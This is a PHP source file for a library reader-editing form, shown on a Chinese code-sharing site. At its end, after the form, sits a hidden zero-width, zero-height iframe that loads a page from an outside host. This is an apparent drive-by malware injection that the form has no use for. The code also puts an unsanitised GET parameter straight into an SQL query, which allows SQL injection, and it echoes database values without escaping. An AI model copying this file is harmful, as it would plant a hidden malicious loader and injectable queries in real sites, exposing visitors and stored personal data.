⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dzglxg.php

📁 我不是乱码
💻 PHP
字号:
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="dzglcl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
<td height="50" align="left" class="tabletitle"> 读者管理--修改</td>
    </tr>
    <tr>
      <td height="2" colspan="5" class="titlebg"></td>
    </tr>
</table>    
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">

      <td width="30" align="center" class="word">ID</td>
      <td width="60" align="center" class="word">姓 名</td>
      <td width="40" align="center" class="word">性别</td>
      <td width="80" align="center" class="word">出生日期</td>
      <td width="120" align="center" class="word">部 门</td>
      <td width="100" align="center" class="word">职 务</td>
      <td width="60" align="center" class="word">电 话</td>
      <td width="60" align="center" class="word">借书次数</td>
      <td width="80" align="center" class="word">登记日期</td>
      <td width="80" align="center" class="word">备  注</td>
    </tr>

<?php

 //使用子查询,查询出选择的某个类别的读者的信息
$selected=$_GET["selected"];

$sql="select * from readerinfo where id=$selected";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>
<tr bgcolor='#BCD2E6'>
<td height='20' align='center' class='word'>
<input name='id' type='text' id='id' size='3' value='<?php echo $row["id"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='readername' type='text' id='readername' size='8' value='<?php echo $row["readername"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='sex' type='text' id='sex' size='5' value='<?php echo $row["sex"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='birth' type='text' id='birth' size='10' value='<?php echo $row["birth"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='department' type='text' id='department' size='16' value='<?php echo $row["department"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='duty' type='text' id='duty' size='14' value='<?php echo $row["duty"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='phone' type='text' id='phone' size='8' value='<?php echo $row["phone"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='number' type='text' id='number' size='8' value='<?php echo $row["number"]; ?>' /></td>
<td height='20' align='center' class='word'><input name='regdate' type='text' id='regdate' size='11' value='<?php echo $row["regdate"]; ?>' /></td>
<td align='center' class='word'><input name='remarks' type='text' id='remarks' size='12' value='<?php echo $row["remarks"]; ?>' /></td>
</tr>
<?php
}
?>		

    <tr bgcolor="#BCD2E6" height="25">

      <td height="50" colspan="10" align="center" class="word"><span class="tabletitle"> 
          <input name="submit7" type="submit" id="submit7" value="修改" />

   
<input name="submit3" type="reset" id="submit3" value="重置" />
 
  
      <input name="submit3" type="submit" id="submit3" value="返回" />
      </span></td>
    </tr>
  </table>
</form>


<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -